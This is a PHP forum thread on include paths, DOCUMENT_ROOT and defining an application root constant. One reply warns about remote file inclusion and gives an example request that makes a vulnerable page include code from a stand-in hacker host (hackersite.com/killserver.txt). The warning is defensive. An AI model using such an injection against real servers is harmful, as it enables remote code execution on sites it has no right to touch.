SitePoint Sponsor

User Tag List

Results 1 to 6 of 6
  1. #1
    SitePoint Wizard frank1's Avatar
    Join Date
    Oct 2005
    Posts
    1,392
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    problem including file

    we were just trying to file with absolute path

    we have 2 problems
    prob 1)

    this works
    <?php include_once ($_SERVER['DOCUMENT_ROOT']."/foldername/functions.php"); ?>

    but this doesnt work

    <?php include_once ("http://localhost/foldername/functions.php"); ?>

    the second one doesnt show any errors but the functions define there is no accessible in the included page ie give undefined function error

  2. #2
    Theoretical Physics Student bronze trophy Jake Arkinstall's Avatar
    Join Date
    May 2006
    Location
    Lancaster University, UK
    Posts
    7,062
    Mentioned
    2 Post(s)
    Tagged
    0 Thread(s)
    When using include() over HTTP, it actually does a HTTP request to that file. Go to localhost/foldername/functions.php in a browser - nothing, eh? That's what PHP sees.

    Use a relative path - document_root is the path to your root folder e.g. c:\wamp\www\

    If, however, the PHP is displayed unparsed when you go to a HTTP file, PHP will parse it.

    This means that if you allow the user to control includes (i.e. page.php?include=about.php) then they can make your server execute code:
    Code:
    page.php?include=http://www.hackersite.com/killserver.txt
    That .txt file will be seen as PHP code (because it's unparsed) and your server can be worth only scrap metal by the time they're done with it (if you don't have decent security against executed code, of course).
    Jake Arkinstall
    "Sometimes you don't need to reinvent the wheel;
    Sometimes its enough to make that wheel more rounded"-Molona

  3. #3
    SitePoint Wizard frank1's Avatar
    Join Date
    Oct 2005
    Posts
    1,392
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    ok thanks
    the server i am developing now is windows that is d:/program files...and so on
    but the deployment server is going to be linux may be on shared server....
    so if i use $_SERVER['DOCUMENT_ROOT'] what will it return in linux server in deployment server (ok now it is returning d:/program files/programname/www )
    will it be parsed as public_html folder of my account...or it will try to go even deeper...folder of server
    if it goes deeper my script include will all fail

    and personally i dont feel that relative link in include is wise way to do it...
    as ok
    in root/one.php
    include connect.php
    and if you do this in root/foldername/two.php
    include('one.php')
    it no longer works...
    so absolute path is way to do it but how...suggestion on my way
    $_SERVER['DOCUMENT_ROOT']

  4. #4
    Theoretical Physics Student bronze trophy Jake Arkinstall's Avatar
    Join Date
    May 2006
    Location
    Lancaster University, UK
    Posts
    7,062
    Mentioned
    2 Post(s)
    Tagged
    0 Thread(s)
    $_SERVER['DOCUMENT_ROOT']

    Will always return the root folder, e.g. www or public_html. It works on both windows and linux - so it's advisable to use it.
    Jake Arkinstall
    "Sometimes you don't need to reinvent the wheel;
    Sometimes its enough to make that wheel more rounded"-Molona

  5. #5
    SitePoint Wizard frank1's Avatar
    Join Date
    Oct 2005
    Posts
    1,392
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Quote Originally Posted by arkinstall View Post
    $_SERVER['DOCUMENT_ROOT']

    Will always return the root folder, e.g. www or public_html. It works on both windows and linux - so it's advisable to use it.
    thanks ...actually i was confused about the shared hosting ...
    any way i hope it returns the root of space where the file is hosted...

    any way so i hope i can use that and use that include my setting file which has different url variable defined as constants...like SITE_URL ,TEMPLATEURL and so on

    thanks

  6. #6
    SitePoint Wizard bronze trophy
    Join Date
    Jul 2008
    Posts
    5,757
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Although rare, I've come across a couple servers where $_SERVER['DOCUMENT_ROOT'] wasn't properly set. I guess you can fault it as junk hosting, but I started using a more robust method relative to my applications root.

    I can always find my way to the root of my application(because you decide directory structure of the app when you develop it). Even if I later decide to move the entire thing a few folders deeper on the hosting server, it will work. Make a file like root_config.php in your application root.
    PHP Code:
    define('APP_ROOT'dirname(__FILE__)); 
    Then all your other files just do a
    PHP Code:
    require_once dirname(__FILE__) . '../root_config.php';
    // then you can do
    include APP_ROOT '/somedir/foo.php'
    And vary the amount of '../' depending on thier filesystem location in the application directory structure relative to the root_config.php file. It will always work, even when running php from the command line.


Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •